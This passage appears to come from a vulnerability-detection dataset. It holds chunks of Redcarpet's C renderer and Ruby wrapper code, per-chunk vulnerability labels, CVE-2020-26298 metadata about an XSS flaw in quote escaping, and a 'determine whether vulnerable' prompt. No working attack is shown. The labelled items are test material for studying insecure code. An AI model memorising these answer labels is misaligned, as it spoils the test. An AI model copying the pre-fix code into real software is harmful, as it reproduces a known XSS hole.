"\tif (text)\n\t\tbufput(ob, text->data, text->size);", "\tBUFPUTSL(ob, \"\\n</ol>\\n</div>\\n\");\n}", "static void\nrndr_footnote_def(struct buf *ob, const struct buf *text, unsigned int num, void *opaque)\n{\n\tsize_t i = 0;\n\tint pfound = 0;", "\t/* insert anchor at the end of first paragraph block */\n\tif (text) {\n\t\twhile ((i+3) < text->size) {\n\t\t\tif (text->data[i++] != '<') continue;\n\t\t\tif (text->data[i++] != '/') continue;\n\t\t\tif (text->data[i++] != 'p' && text->data[i] != 'P') continue;\n\t\t\tif (text->data[i] != '>') continue;\n\t\t\ti -= 3;\n\t\t\tpfound = 1;\n\t\t\tbreak;\n\t\t}\n\t}", "\tbufprintf(ob, \"\\n<li id=\\\"fn%d\\\">\\n\", num);\n\tif (pfound) {\n\t\tbufput(ob, text->data, i);\n\t\tbufprintf(ob, \"&nbsp;<a href=\\\"#fnref%d\\\">&#8617;</a>\", num);\n\t\tbufput(ob, text->data + i, text->size - i);\n\t} else if (text) {\n\t\tbufput(ob, text->data, text->size);\n\t}\n\tBUFPUTSL(ob, \"</li>\\n\");\n}", "static int\nrndr_footnote_ref(struct buf *ob, unsigned int num, void *opaque)\n{\n\tbufprintf(ob, \"<sup id=\\\"fnref%d\\\"><a href=\\\"#fn%d\\\">%d</a></sup>\", num, num, num);\n\treturn 1;\n}", "static void\ntoc_header(struct buf *ob, const struct buf *text, int level, void *opaque)\n{\n\tstruct html_renderopt *options = opaque;", "\tif (level >= options->toc_data.nesting_bounds[0] &&\n\t level <= options->toc_data.nesting_bounds[1]) {\n\t\t/* set the level offset if this is the first header\n\t\t * we're parsing for the document */\n\t\tif (options->toc_data.current_level == 0)\n\t\t\toptions->toc_data.level_offset = level - 1;", "\t\tlevel -= options->toc_data.level_offset;", "\t\tif (level > options->toc_data.current_level) {\n\t\t\twhile (level > options->toc_data.current_level) {\n\t\t\t\tBUFPUTSL(ob, \"<ul>\\n<li>\\n\");\n\t\t\t\toptions->toc_data.current_level++;\n\t\t\t}\n\t\t} else if (level < options->toc_data.current_level) {\n\t\t\tBUFPUTSL(ob, \"</li>\\n\");\n\t\t\twhile (level < options->toc_data.current_level) {\n\t\t\t\tBUFPUTSL(ob, \"</ul>\\n</li>\\n\");\n\t\t\t\toptions->toc_data.current_level--;\n\t\t\t}\n\t\t\tBUFPUTSL(ob,\"<li>\\n\");\n\t\t} else {\n\t\t\tBUFPUTSL(ob,\"</li>\\n<li>\\n\");\n\t\t}", "\t\tbufprintf(ob, \"<a href=\\\"#\");\n\t\trndr_header_anchor(ob, text);\n\t\tBUFPUTSL(ob, \"\\\">\");", "\t\tif (text) {\n\t\t\tif (options->flags & HTML_ESCAPE)\n\t\t\t\tescape_html(ob, text->data, text->size);\n\t\t\telse\n\t\t\t\tbufput(ob, text->data, text->size);\n\t\t}", "\t\tBUFPUTSL(ob, \"</a>\\n\");\n\t}\n}", "static int\ntoc_link(struct buf *ob, const struct buf *link, const struct buf *title, const struct buf *content, void *opaque)\n{\n\tif (content && content->size)\n\t\tbufput(ob, content->data, content->size);\n\treturn 1;\n}", "static void\ntoc_finalize(struct buf *ob, void *opaque)\n{\n\tstruct html_renderopt *options = opaque;", "\twhile (options->toc_data.current_level > 0) {\n\t\tBUFPUTSL(ob, \"</li>\\n</ul>\\n\");\n\t\toptions->toc_data.current_level--;\n\t}\n}", "void\nsdhtml_toc_renderer(struct sd_callbacks *callbacks, struct html_renderopt *options, unsigned int render_flags)\n{\n\tstatic const struct sd_callbacks cb_default = {\n\t\tNULL,\n\t\tNULL,\n\t\tNULL,\n\t\ttoc_header,\n\t\tNULL,\n\t\tNULL,\n\t\tNULL,\n\t\tNULL,\n\t\tNULL,\n\t\tNULL,\n\t\tNULL,\n\t\trndr_footnotes,\n\t\trndr_footnote_def,", "\t\tNULL,\n\t\trndr_codespan,\n\t\trndr_double_emphasis,\n\t\trndr_emphasis,\n\t\trndr_underline,\n\t\trndr_highlight,\n\t\trndr_quote,\n\t\tNULL,\n\t\tNULL,\n\t\ttoc_link,\n\t\tNULL,\n\t\trndr_triple_emphasis,\n\t\trndr_strikethrough,\n\t\trndr_superscript,\n\t\trndr_footnote_ref,", "\t\tNULL,\n\t\tNULL,", "\t\tNULL,\n\t\ttoc_finalize,\n\t};", "\tmemset(options, 0x0, sizeof(struct html_renderopt));\n\toptions->flags = render_flags;", "\tmemcpy(callbacks, &cb_default, sizeof(struct sd_callbacks));\n}", "void\nsdhtml_renderer(struct sd_callbacks *callbacks, struct html_renderopt *options, unsigned int render_flags)\n{\n\tstatic const struct sd_callbacks cb_default = {\n\t\trndr_blockcode,\n\t\trndr_blockquote,\n\t\trndr_raw_block,\n\t\trndr_header,\n\t\trndr_hrule,\n\t\trndr_list,\n\t\trndr_listitem,\n\t\trndr_paragraph,\n\t\trndr_table,\n\t\trndr_tablerow,\n\t\trndr_tablecell,\n\t\trndr_footnotes,\n\t\trndr_footnote_def,", "\t\trndr_autolink,\n\t\trndr_codespan,\n\t\trndr_double_emphasis,\n\t\trndr_emphasis,\n\t\trndr_underline,\n\t\trndr_highlight,\n\t\trndr_quote,\n\t\trndr_image,\n\t\trndr_linebreak,\n\t\trndr_link,\n\t\trndr_raw_html,\n\t\trndr_triple_emphasis,\n\t\trndr_strikethrough,\n\t\trndr_superscript,\n\t\trndr_footnote_ref,", "\t\tNULL,\n\t\trndr_normal_text,", "\t\tNULL,\n\t\tNULL,\n\t};", "\t/* Prepare the options pointer */\n\tmemset(options, 0x0, sizeof(struct html_renderopt));\n\toptions->flags = render_flags;\n\toptions->toc_data.nesting_bounds[0] = 1;\n\toptions->toc_data.nesting_bounds[1] = 6;", "\t/* Prepare the callbacks */\n\tmemcpy(callbacks, &cb_default, sizeof(struct sd_callbacks));", "\tif (render_flags & HTML_SKIP_IMAGES)\n\t\tcallbacks->image = NULL;", "\tif (render_flags & HTML_SKIP_LINKS) {\n\t\tcallbacks->link = NULL;\n\t\tcallbacks->autolink = NULL;\n\t}", "\tif (render_flags & HTML_SKIP_HTML || render_flags & HTML_ESCAPE)\n\t\tcallbacks->blockhtml = NULL;\n}" ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
PreciseBugs
{"buggy_code_end_loc": [1, 260, 6, 8, 222], "buggy_code_start_loc": [1, 257, 5, 4, 222], "filenames": ["CHANGELOG.md", "ext/redcarpet/html.c", "lib/redcarpet.rb", "redcarpet.gemspec", "test/markdown_test.rb"], "fixing_code_end_loc": [9, 267, 6, 8, 233], "fixing_code_start_loc": [2, 258, 5, 4, 223], "message": "Redcarpet is a Ruby library for Markdown processing. In Redcarpet before version 3.5.1, there is an injection vulnerability which can enable a cross-site scripting attack. In affected versions no HTML escaping was being performed when processing quotes. This applies even when the `:escape_html` option was being used. This is fixed in version 3.5.1 by the referenced commit.", "other": {"cve": {"cisaActionDue": null, "cisaExploitAdd": null, "cisaRequiredAction": null, "cisaVulnerabilityName": null, "configurations": [{"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:a:redcarpet_project:redcarpet:*:*:*:*:*:ruby:*:*", "matchCriteriaId": "902228CC-361A-4FB7-B856-DB57477CD68F", "versionEndExcluding": "3.5.1", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}], "negate": false, "operator": "OR"}], "operator": null}, {"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:o:debian:debian_linux:9.0:*:*:*:*:*:*:*", "matchCriteriaId": "DEECE5FC-CACF-4496-A3E7-164736409252", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}, {"criteria": "cpe:2.3:o:debian:debian_linux:10.0:*:*:*:*:*:*:*", "matchCriteriaId": "07B237A9-69A3-4A9C-9DA0-4E06BD37AE73", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}], "negate": false, "operator": "OR"}], "operator": null}], "descriptions": [{"lang": "en", "value": "Redcarpet is a Ruby library for Markdown processing. In Redcarpet before version 3.5.1, there is an injection vulnerability which can enable a cross-site scripting attack. In affected versions no HTML escaping was being performed when processing quotes. This applies even when the `:escape_html` option was being used. This is fixed in version 3.5.1 by the referenced commit."}, {"lang": "es", "value": "Redcarpet es una biblioteca de Ruby para el procesamiento de Descuentos.&#xa0;En Redcarpet versiones anteriores a 3.5.1, se presenta una vulnerabilidad de inyecci\u00f3n que puede habilitar un ataque de tipo cross-site scripting.&#xa0;En las versiones afectadas, no se llevaba a cabo ning\u00fan escape HTML al procesar las cotizaciones.&#xa0;Esto aplica incluso cuando la opci\u00f3n \":escape_html\" hab\u00eda sido usada.&#xa0;Esto es corregido en la versi\u00f3n 3.5.1 mediante la confirmaci\u00f3n de referencia"}], "evaluatorComment": null, "id": "CVE-2020-26298", "lastModified": "2023-05-09T04:15:40.053", "metrics": {"cvssMetricV2": [{"acInsufInfo": false, "baseSeverity": "LOW", "cvssData": {"accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "SINGLE", "availabilityImpact": "NONE", "baseScore": 3.5, "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:S/C:N/I:P/A:N", "version": "2.0"}, "exploitabilityScore": 6.8, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "nvd@nist.gov", "type": "Primary", "userInteractionRequired": true}], "cvssMetricV30": null, "cvssMetricV31": [{"cvssData": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 5.4, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "LOW", "scope": "CHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "version": "3.1"}, "exploitabilityScore": 2.3, "impactScore": 2.7, "source": "nvd@nist.gov", "type": "Primary"}, {"cvssData": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 6.8, "baseSeverity": "MEDIUM", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "scope": "CHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:N/I:H/A:N", "version": "3.1"}, "exploitabilityScore": 2.3, "impactScore": 4.0, "source": "security-advisories@github.com", "type": "Secondary"}]}, "published": "2021-01-11T19:15:13.133", "references": [{"source": "security-advisories@github.com", "tags": ["Third Party Advisory"], "url": "https://github.com/advisories/GHSA-q3wr-qw3g-3p4h"}, {"source": "security-advisories@github.com", "tags": ["Release Notes", "Third Party Advisory"], "url": "https://github.com/vmg/redcarpet/blob/master/CHANGELOG.md#version-351-security"}, {"source": "security-advisories@github.com", "tags": ["Patch", "Third Party Advisory"], "url": "https://github.com/vmg/redcarpet/commit/a699c82292b17c8e6a62e1914d5eccc252272793"}, {"source": "security-advisories@github.com", "tags": ["Mailing List", "Third Party Advisory"], "url": "https://lists.debian.org/debian-lts-announce/2021/01/msg00014.html"}, {"source": "security-advisories@github.com", "tags": null, "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/BFMYDIONVWATY7EB6EARDVXT47AYCRNM/"}, {"source": "security-advisories@github.com", "tags": null, "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/FNO4ZZUPGAEUXKQL4G2HRIH7CUZKPCT6/"}, {"source": "security-advisories@github.com", "tags": null, "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/PXNNWHHAPREDM3XJDACYRTK7DBMUONBI/"}, {"source": "security-advisories@github.com", "tags": ["Product", "Third Party Advisory"], "url": "https://rubygems.org/gems/redcarpet"}, {"source": "security-advisories@github.com", "tags": ["Third Party Advisory"], "url": "https://www.debian.org/security/2021/dsa-4831"}], "sourceIdentifier": "security-advisories@github.com", "vendorComments": null, "vulnStatus": "Modified", "weaknesses": [{"description": [{"lang": "en", "value": "CWE-74"}, {"lang": "en", "value": "CWE-79"}], "source": "security-advisories@github.com", "type": "Primary"}]}, "github_commit_url": "https://github.com/vmg/redcarpet/commit/a699c82292b17c8e6a62e1914d5eccc252272793"}, "type": "CWE-74"}
146
Determine whether the {function_name} code is vulnerable or not.
[ "require 'redcarpet.so'\nrequire 'redcarpet/compat'", "module Redcarpet", " VERSION = '3.5.0'", "\n class Markdown\n attr_reader :renderer\n end", " module Render", " # XHTML Renderer\n class XHTML < HTML\n def initialize(extensions = {})\n super(extensions.merge(xhtml: true))\n end\n end", " # HTML + SmartyPants renderer\n class SmartyHTML < HTML\n include SmartyPants\n end", " # A renderer object you can use to deal with users' input. It\n # enables +escape_html+ and +safe_links_only+ by default.\n #\n # The +block_code+ callback is also overriden not to include\n # the lang's class as the user can basically specify anything\n # with the vanilla one.\n class Safe < HTML\n def initialize(extensions = {})\n super({\n escape_html: true,\n safe_links_only: true\n }.merge(extensions))\n end", " def block_code(code, lang)\n \"<pre>\" \\\n \"<code>#{html_escape(code)}</code>\" \\\n \"</pre>\"\n end", " private", " # TODO: This is far from ideal to have such method as we\n # are duplicating existing code from Houdini. This method\n # should be defined at the C level.\n def html_escape(string)\n string.gsub(/['&\\\"<>\\/]/, {\n '&' => '&amp;',\n '<' => '&lt;',\n '>' => '&gt;',\n '\"' => '&quot;',\n \"'\" => '&#x27;',\n \"/\" => '&#x2F;',\n })\n end\n end", " # SmartyPants Mixin module\n #\n # Implements SmartyPants.postprocess, which\n # performs smartypants replacements on the HTML file,\n # once it has been fully rendered.\n #\n # To add SmartyPants postprocessing to your custom\n # renderers, just mixin the module `include SmartyPants`\n #\n # You can also use this as a standalone SmartyPants\n # implementation.\n #\n # Example:\n #\n # # Mixin\n # class CoolRenderer < HTML\n # include SmartyPants\n # # more code here\n # end\n #\n # # Standalone\n # Redcarpet::Render::SmartyPants.render(\"you're\")\n #\n module SmartyPants\n extend self\n def self.render(text)\n postprocess text\n end\n end\n end\nend" ]
[ 1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
PreciseBugs
{"buggy_code_end_loc": [1, 260, 6, 8, 222], "buggy_code_start_loc": [1, 257, 5, 4, 222], "filenames": ["CHANGELOG.md", "ext/redcarpet/html.c", "lib/redcarpet.rb", "redcarpet.gemspec", "test/markdown_test.rb"], "fixing_code_end_loc": [9, 267, 6, 8, 233], "fixing_code_start_loc": [2, 258, 5, 4, 223], "message": "Redcarpet is a Ruby library for Markdown processing. In Redcarpet before version 3.5.1, there is an injection vulnerability which can enable a cross-site scripting attack. In affected versions no HTML escaping was being performed when processing quotes. This applies even when the `:escape_html` option was being used. This is fixed in version 3.5.1 by the referenced commit.", "other": {"cve": {"cisaActionDue": null, "cisaExploitAdd": null, "cisaRequiredAction": null, "cisaVulnerabilityName": null, "configurations": [{"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:a:redcarpet_project:redcarpet:*:*:*:*:*:ruby:*:*", "matchCriteriaId": "902228CC-361A-4FB7-B856-DB57477CD68F", "versionEndExcluding": "3.5.1", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}], "negate": false, "operator": "OR"}], "operator": null}, {"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:o:debian:debian_linux:9.0:*:*:*:*:*:*:*", "matchCriteriaId": "DEECE5FC-CACF-4496-A3E7-164736409252", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}, {"criteria": "cpe:2.3:o:debian:debian_linux:10.0:*:*:*:*:*:*:*", "matchCriteriaId": "07B237A9-69A3-4A9C-9DA0-4E06BD37AE73", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}], "negate": false, "operator": "OR"}], "operator": null}], "descriptions": [{"lang": "en", "value": "Redcarpet is a Ruby library for Markdown processing. In Redcarpet before version 3.5.1, there is an injection vulnerability which can enable a cross-site scripting attack. In affected versions no HTML escaping was being performed when processing quotes. This applies even when the `:escape_html` option was being used. This is fixed in version 3.5.1 by the referenced commit."}, {"lang": "es", "value": "Redcarpet es una biblioteca de Ruby para el procesamiento de Descuentos.&#xa0;En Redcarpet versiones anteriores a 3.5.1, se presenta una vulnerabilidad de inyecci\u00f3n que puede habilitar un ataque de tipo cross-site scripting.&#xa0;En las versiones afectadas, no se llevaba a cabo ning\u00fan escape HTML al procesar las cotizaciones.&#xa0;Esto aplica incluso cuando la opci\u00f3n \":escape_html\" hab\u00eda sido usada.&#xa0;Esto es corregido en la versi\u00f3n 3.5.1 mediante la confirmaci\u00f3n de referencia"}], "evaluatorComment": null, "id": "CVE-2020-26298", "lastModified": "2023-05-09T04:15:40.053", "metrics": {"cvssMetricV2": [{"acInsufInfo": false, "baseSeverity": "LOW", "cvssData": {"accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "SINGLE", "availabilityImpact": "NONE", "baseScore": 3.5, "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:S/C:N/I:P/A:N", "version": "2.0"}, "exploitabilityScore": 6.8, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "nvd@nist.gov", "type": "Primary", "userInteractionRequired": true}], "cvssMetricV30": null, "cvssMetricV31": [{"cvssData": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 5.4, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "LOW", "scope": "CHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "version": "3.1"}, "exploitabilityScore": 2.3, "impactScore": 2.7, "source": "nvd@nist.gov", "type": "Primary"}, {"cvssData": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 6.8, "baseSeverity": "MEDIUM", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "scope": "CHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:N/I:H/A:N", "version": "3.1"}, "exploitabilityScore": 2.3, "impactScore": 4.0, "source": "security-advisories@github.com", "type": "Secondary"}]}, "published": "2021-01-11T19:15:13.133", "references": [{"source": "security-advisories@github.com", "tags": ["Third Party Advisory"], "url": "https://github.com/advisories/GHSA-q3wr-qw3g-3p4h"}, {"source": "security-advisories@github.com", "tags": ["Release Notes", "Third Party Advisory"], "url": "https://github.com/vmg/redcarpet/blob/master/CHANGELOG.md#version-351-security"}, {"source": "security-advisories@github.com", "tags": ["Patch", "Third Party Advisory"], "url": "https://github.com/vmg/redcarpet/commit/a699c82292b17c8e6a62e1914d5eccc252272793"}, {"source": "security-advisories@github.com", "tags": ["Mailing List", "Third Party Advisory"], "url": "https://lists.debian.org/debian-lts-announce/2021/01/msg00014.html"}, {"source": "security-advisories@github.com", "tags": null, "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/BFMYDIONVWATY7EB6EARDVXT47AYCRNM/"}, {"source": "security-advisories@github.com", "tags": null, "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/FNO4ZZUPGAEUXKQL4G2HRIH7CUZKPCT6/"}, {"source": "security-advisories@github.com", "tags": null, "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/PXNNWHHAPREDM3XJDACYRTK7DBMUONBI/"}, {"source": "security-advisories@github.com", "tags": ["Product", "Third Party Advisory"], "url": "https://rubygems.org/gems/redcarpet"}, {"source": "security-advisories@github.com", "tags": ["Third Party Advisory"], "url": "https://www.debian.org/security/2021/dsa-4831"}], "sourceIdentifier": "security-advisories@github.com", "vendorComments": null, "vulnStatus": "Modified", "weaknesses": [{"description": [{"lang": "en", "value": "CWE-74"}, {"lang": "en", "value": "CWE-79"}], "source": "security-advisories@github.com", "type": "Primary"}]}, "github_commit_url": "https://github.com/vmg/redcarpet/commit/a699c82292b17c8e6a62e1914d5eccc252272793"}, "type": "CWE-74"}
146
Determine whether the {function_name} code is vulnerable or not.
[ "require 'redcarpet.so'\nrequire 'redcarpet/compat'", "module Redcarpet", " VERSION = '3.5.1'", "\n class Markdown\n attr_reader :renderer\n end", " module Render", " # XHTML Renderer\n class XHTML < HTML\n def initialize(extensions = {})\n super(extensions.merge(xhtml: true))\n end\n end", " # HTML + SmartyPants renderer\n class SmartyHTML < HTML\n include SmartyPants\n end", " # A renderer object you can use to deal with users' input. It\n # enables +escape_html+ and +safe_links_only+ by default.\n #\n # The +block_code+ callback is also overriden not to include\n # the lang's class as the user can basically specify anything\n # with the vanilla one.\n class Safe < HTML\n def initialize(extensions = {})\n super({\n escape_html: true,\n safe_links_only: true\n }.merge(extensions))\n end", " def block_code(code, lang)\n \"<pre>\" \\\n \"<code>#{html_escape(code)}</code>\" \\\n \"</pre>\"\n end", " private", " # TODO: This is far from ideal to have such method as we\n # are duplicating existing code from Houdini. This method\n # should be defined at the C level.\n def html_escape(string)\n string.gsub(/['&\\\"<>\\/]/, {\n '&' => '&amp;',\n '<' => '&lt;',\n '>' => '&gt;',\n '\"' => '&quot;',\n \"'\" => '&#x27;',\n \"/\" => '&#x2F;',\n })\n end\n end", " # SmartyPants Mixin module\n #\n # Implements SmartyPants.postprocess, which\n # performs smartypants replacements on the HTML file,\n # once it has been fully rendered.\n #\n # To add SmartyPants postprocessing to your custom\n # renderers, just mixin the module `include SmartyPants`\n #\n # You can also use this as a standalone SmartyPants\n # implementation.\n #\n # Example:\n #\n # # Mixin\n # class CoolRenderer < HTML\n # include SmartyPants\n # # more code here\n # end\n #\n # # Standalone\n # Redcarpet::Render::SmartyPants.render(\"you're\")\n #\n module SmartyPants\n extend self\n def self.render(text)\n postprocess text\n end\n end\n end\nend" ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
PreciseBugs
{"buggy_code_end_loc": [1, 260, 6, 8, 222], "buggy_code_start_loc": [1, 257, 5, 4, 222], "filenames": ["CHANGELOG.md", "ext/redcarpet/html.c", "lib/redcarpet.rb", "redcarpet.gemspec", "test/markdown_test.rb"], "fixing_code_end_loc": [9, 267, 6, 8, 233], "fixing_code_start_loc": [2, 258, 5, 4, 223], "message": "Redcarpet is a Ruby library for Markdown processing. In Redcarpet before version 3.5.1, there is an injection vulnerability which can enable a cross-site scripting attack. In affected versions no HTML escaping was being performed when processing quotes. This applies even when the `:escape_html` option was being used. This is fixed in version 3.5.1 by the referenced commit.", "other": {"cve": {"cisaActionDue": null, "cisaExploitAdd": null, "cisaRequiredAction": null, "cisaVulnerabilityName": null, "configurations": [{"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:a:redcarpet_project:redcarpet:*:*:*:*:*:ruby:*:*", "matchCriteriaId": "902228CC-361A-4FB7-B856-DB57477CD68F", "versionEndExcluding": "3.5.1", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}], "negate": false, "operator": "OR"}], "operator": null}, {"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:o:debian:debian_linux:9.0:*:*:*:*:*:*:*", "matchCriteriaId": "DEECE5FC-CACF-4496-A3E7-164736409252", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}, {"criteria": "cpe:2.3:o:debian:debian_linux:10.0:*:*:*:*:*:*:*", "matchCriteriaId": "07B237A9-69A3-4A9C-9DA0-4E06BD37AE73", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}], "negate": false, "operator": "OR"}], "operator": null}], "descriptions": [{"lang": "en", "value": "Redcarpet is a Ruby library for Markdown processing. In Redcarpet before version 3.5.1, there is an injection vulnerability which can enable a cross-site scripting attack. In affected versions no HTML escaping was being performed when processing quotes. This applies even when the `:escape_html` option was being used. This is fixed in version 3.5.1 by the referenced commit."}, {"lang": "es", "value": "Redcarpet es una biblioteca de Ruby para el procesamiento de Descuentos.&#xa0;En Redcarpet versiones anteriores a 3.5.1, se presenta una vulnerabilidad de inyecci\u00f3n que puede habilitar un ataque de tipo cross-site scripting.&#xa0;En las versiones afectadas, no se llevaba a cabo ning\u00fan escape HTML al procesar las cotizaciones.&#xa0;Esto aplica incluso cuando la opci\u00f3n \":escape_html\" hab\u00eda sido usada.&#xa0;Esto es corregido en la versi\u00f3n 3.5.1 mediante la confirmaci\u00f3n de referencia"}], "evaluatorComment": null, "id": "CVE-2020-26298", "lastModified": "2023-05-09T04:15:40.053", "metrics": {"cvssMetricV2": [{"acInsufInfo": false, "baseSeverity": "LOW", "cvssData": {"accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "SINGLE", "availabilityImpact": "NONE", "baseScore": 3.5, "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:S/C:N/I:P/A:N", "version": "2.0"}, "exploitabilityScore": 6.8, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "nvd@nist.gov", "type": "Primary", "userInteractionRequired": true}], "cvssMetricV30": null, "cvssMetricV31": [{"cvssData": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 5.4, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "LOW", "scope": "CHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "version": "3.1"}, "exploitabilityScore": 2.3, "impactScore": 2.7, "source": "nvd@nist.gov", "type": "Primary"}, {"cvssData": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 6.8, "baseSeverity": "MEDIUM", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "scope": "CHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:N/I:H/A:N", "version": "3.1"}, "exploitabilityScore": 2.3, "impactScore": 4.0, "source": "security-advisories@github.com", "type": "Secondary"}]}, "published": "2021-01-11T19:15:13.133", "references": [{"source": "security-advisories@github.com", "tags": ["Third Party Advisory"], "url": "https://github.com/advisories/GHSA-q3wr-qw3g-3p4h"}, {"source": "security-advisories@github.com", "tags": ["Release Notes", "Third Party Advisory"], "url": "https://github.com/vmg/redcarpet/blob/master/CHANGELOG.md#version-351-security"}, {"source": "security-advisories@github.com", "tags": ["Patch", "Third Party Advisory"], "url": "https://github.com/vmg/redcarpet/commit/a699c82292b17c8e6a62e1914d5eccc252272793"}, {"source": "security-advisories@github.com", "tags": ["Mailing List", "Third Party Advisory"], "url": "https://lists.debian.org/debian-lts-announce/2021/01/msg00014.html"}, {"source": "security-advisories@github.com", "tags": null, "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/BFMYDIONVWATY7EB6EARDVXT47AYCRNM/"}, {"source": "security-advisories@github.com", "tags": null, "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/FNO4ZZUPGAEUXKQL4G2HRIH7CUZKPCT6/"}, {"source": "security-advisories@github.com", "tags": null, "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/PXNNWHHAPREDM3XJDACYRTK7DBMUONBI/"}, {"source": "security-advisories@github.com", "tags": ["Product", "Third Party Advisory"], "url": "https://rubygems.org/gems/redcarpet"}, {"source": "security-advisories@github.com", "tags": ["Third Party Advisory"], "url": "https://www.debian.org/security/2021/dsa-4831"}], "sourceIdentifier": "security-advisories@github.com", "vendorComments": null, "vulnStatus": "Modified", "weaknesses": [{"description": [{"lang": "en", "value": "CWE-74"}, {"lang": "en", "value": "CWE-79"}], "source": "security-advisories@github.com", "type": "Primary"}]}, "github_commit_url": "https://github.com/vmg/redcarpet/commit/a699c82292b17c8e6a62e1914d5eccc252272793"}, "type": "CWE-74"}
146
Determine whether the {function_name} code is vulnerable or not.
